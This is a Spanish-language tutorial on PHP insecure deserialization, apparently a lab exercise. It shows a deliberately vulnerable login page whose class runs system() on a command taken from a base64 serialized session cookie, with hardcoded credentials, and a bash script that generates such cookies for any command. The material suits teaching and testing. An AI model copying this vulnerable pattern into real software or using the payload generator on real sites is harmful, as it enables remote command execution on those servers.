Si nosotros por ejemplo tenemos este codigo de PHP como una pagina por ejemplo:
index.php
<?php
// Clase vulnerable: al deserializar el objeto se ejecuta el comando almacenado en $cmd
class Vulnerable {
public $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function __destruct() {
system($this->cmd);
}
}
// Función para verificar si las credenciales son correctas
function authenticate($username, $password) {
$valid_users = [
'admin' => 'admin',
'user' => 'user'
];
if (isset($valid_users[$username]) && $valid_users[$username] === $password) {
return true;
}
return false;
}
// Si el formulario es enviado
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Recuperamos las credenciales del formulario
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
// Si las credenciales son correctas
if (authenticate($username, $password)) {
// Creamos un payload malicioso (cookie) solo para usuarios válidos
$cmd = "echo 'Comando ejecutado exitosamente';"; // Cambia esto con el comando que desees
$vulnerable_object = new Vulnerable($cmd);
$serialized_object = serialize($vulnerable_object);
$encoded_payload = base64_encode($serialized_object);
// Establecemos la cookie con el payload
setcookie('session', $encoded_payload, time() + 3600, "/"); // La cookie durará 1 hora
// Redirigimos al usuario a panel.php después del login
header('Location: panel.php?username=' . urlencode($username));
exit;
} else {
echo "<p>Credenciales incorrectas. Por favor, inténtalo de nuevo.</p>";
}
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - Deserialización Insegura</title>
</head>
<body>
<h1>Login de Usuario</h1>
<!-- Formulario de login -->
<form method="POST">
<label for="username">Nombre de usuario:</label>
<input type="text" id="username" name="username" required><br><br>
<label for="password">Contraseña:</label>
<input type="password" id="password" name="password" required><br><br>
<button type="submit">Iniciar sesión</button>
</form>
</body>
</html>
Vemos que no valida la entrada que se serializa y la deserializa lo que venga de forma insegura, ya que no tiene ninguna medida de seguridad como por ejemplo una implementacion de JWT, si entramos a esta pagina veremos lo siguiente:
El usuario por defecto sera el siguiente:
user:user
Ingresamos las credenciales y abriremos BurpSuite para recargar la pagina con la sesion iniciada del usuario user y veremos lo siguiente en la peticion con BurpSuite:
Vemos que la serializacion esta en session= por lo que tendremos que reemplazar su contenido, por otro codigo serializado con el comando que queramos ejecutar.
Generar Payload Serializado en Base64
Nos crearemos un script en bash para generar codigos serializados:
exploitSerial.sh
#!/bin/bash
# Verificamos si el usuario pasó el comando
if [ -z "$1" ]; then
echo "Uso: $0 '<comando_a_ejecutar>'"
exit 1
fi
# El comando que queremos ejecutar, recibido como argumento
COMMAND=$1
# Creamos un archivo PHP temporal con el código que genera el payload
cat > /tmp/serializable_payload.php <<EOF
<?php
// Clase vulnerable: al deserializar el objeto se ejecuta el comando almacenado en \$cmd
class Vulnerable {
public \$cmd;
public function __construct(\$cmd) {
\$this->cmd = \$cmd;
}
public function __destruct() {
system(\$this->cmd);
}
}
// Creamos el objeto vulnerable con el comando proporcionado
\$vulnerable_object = new Vulnerable("$COMMAND");
// Serializamos el objeto
\$serialized_object = serialize(\$vulnerable_object);
// Mostramos el objeto serializado en Base64
echo base64_encode(\$serialized_object);
EOF
# Ejecutamos el archivo PHP y obtenemos el payload en base64
payload=$(php /tmp/serializable_payload.php)
# Limpiamos el archivo temporal
rm /tmp/serializable_payload.php
# Mostramos el payload
echo "Payload Base64: $payload"